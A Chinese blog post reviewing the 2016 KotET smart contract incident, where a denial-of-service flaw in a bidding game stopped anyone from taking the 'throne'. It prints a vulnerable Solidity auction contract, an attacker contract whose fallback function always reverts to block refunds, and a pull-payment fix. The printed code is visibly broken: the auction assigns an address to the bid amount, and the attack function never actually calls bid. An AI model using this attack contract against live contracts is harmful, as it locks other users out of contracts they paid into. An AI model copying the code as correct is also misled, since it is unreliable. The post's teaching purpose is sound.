【原创】智能合约安全事故回顾(3)-DOS漏洞导致的KotET事件


#1

现实世界中的网络都是有带宽限制的,想象一下,一个访问量稳定的网站,突然有人利用某种方式爆发式的将网站的访问量提升,这个时候系统会作何反应?如果系统没有合理的防DOS攻击的方式,这种时候往往会造成服务器瘫痪/崩溃。

DOS,即Denial of Service,拒绝服务。造成服务器拒绝服务的攻击被称为DOS攻击。早在区块链之前,互联网世界就存在的一种攻击方式。在智能合约中,往往有一部分函数的执行是依赖于外部调用的结果,这种情况下又没有对外部返回的结果做严格控制,比如外部长期不返回或者返回结果非预期的处理。这种情况就有可能产生一些安全事故。本文介绍的就是由Dos攻击导致的KotET安全漏洞事件。

事件介绍

KotET是一个区块链游戏的简称,游戏中设立了一个“王位”,玩家通过发送ether给智能合约参与对王位的竞选。如果A出价10ETH获得“王位”后,B在出价20ETH,那么合约会将10ETH返回给A,将王位转移给B。然而在2016年2月6日至8日期间,许多玩家发现无论发送多少的eth给合约来竞争王位都不能成功。

漏洞原因

先看一下合约的源码:

pragma solidity ^0.4.22;

contract Auction {
	address public currentLeader;
    uint256 public highestBid;
    
    function bid() public payable{  //竞选方法
        require(msg.value >  highestBid); //判断当前投入eth是否大于之前的最大值
        require(currentLeader.send(highestBid));//如果大于 把原有的王位拥有者的金钱退回
        currentLeader =msg.sender; //当选新的国王
        highestBid =currentLeader;
    }
}

这是一段非常简单的合约代码,逻辑笔者都已经注释。接下来讲一下黑客的思路:因为bid方法首先判断了金额的大小,满足条件以后先将上一个“国王”退位,在赋值新的“国王”。那么如果上一个国王一直不退位,是不是就可以一直没有新的国王当选呢?

在看一下黑客的攻击代码:

interface Auction{  //定义原有接口 方便调用
    function bid() external payable; 
}
contract POC{  //定义攻击合约
    address owner;
    Auction auInstance;   
    constructor() public{
        owner =msg.sender;
    }
    modifier onlyOwner(){
        require(owner == msg.sender);
        _;
    }
    function setInstance(address addr) public onlyOwner{  //实例化指定合约
        auInstance =Auction(addr);
    }
    function attack() public onlyOwner{ //攻击方法
        auInstance.bid.value(msg.value);
    }
    function () external payable{ //合约默认回调
        revert();
    }
}

上述的代码中,攻击者申明了一个POC合约,在合约中定义了一个攻击方法。顺着这个方法的思路:

1.攻击者首先调用Auction 实例化的合约,然后调用合约的bid方法,传递一定量的ether。首先攻击者要满足:require(msg.value > highestBid);这样攻击者创建的这个合约地址会当选为国王。

2.当有其他玩家入场,发送了多于上一次数量的ether以后,那么正常流程的话合约的bid方法的第二步会调用POC合约的send方法退回金额,然后让攻击者退位。但是攻击者早就准备就绪。当send方法调用时首先会调用POC合约的回调函数,回调函数的实现内容是revert()函数,也就说无论结果如何都执行不成功。那么就导致了require(currentLeader.send(highestBid))执行时永远不会成功,所以其他竞争者无论投入多少eth服务器都会没有响应。这就完成了一次DOS攻击。

防范

这种攻击能实现的主要原因还是因为合约的实现过程中把方法的调用结果交由外部的返回结果来控制。这就为很多攻击留下了隐患。所以我们在思考如何防范的时候应该思考的是化被动为主动,可以在合约中建立一个mapping,每个用户可以退的金额多少存储在mapping中,由用户自己主动去请求合约来实现金额的退回。

其实在笔者的角度来看,DOS攻击在互联网的世界中其实是没有办法完全避免的,只能通过一定的手段来防护。降低这种攻击带来的危害。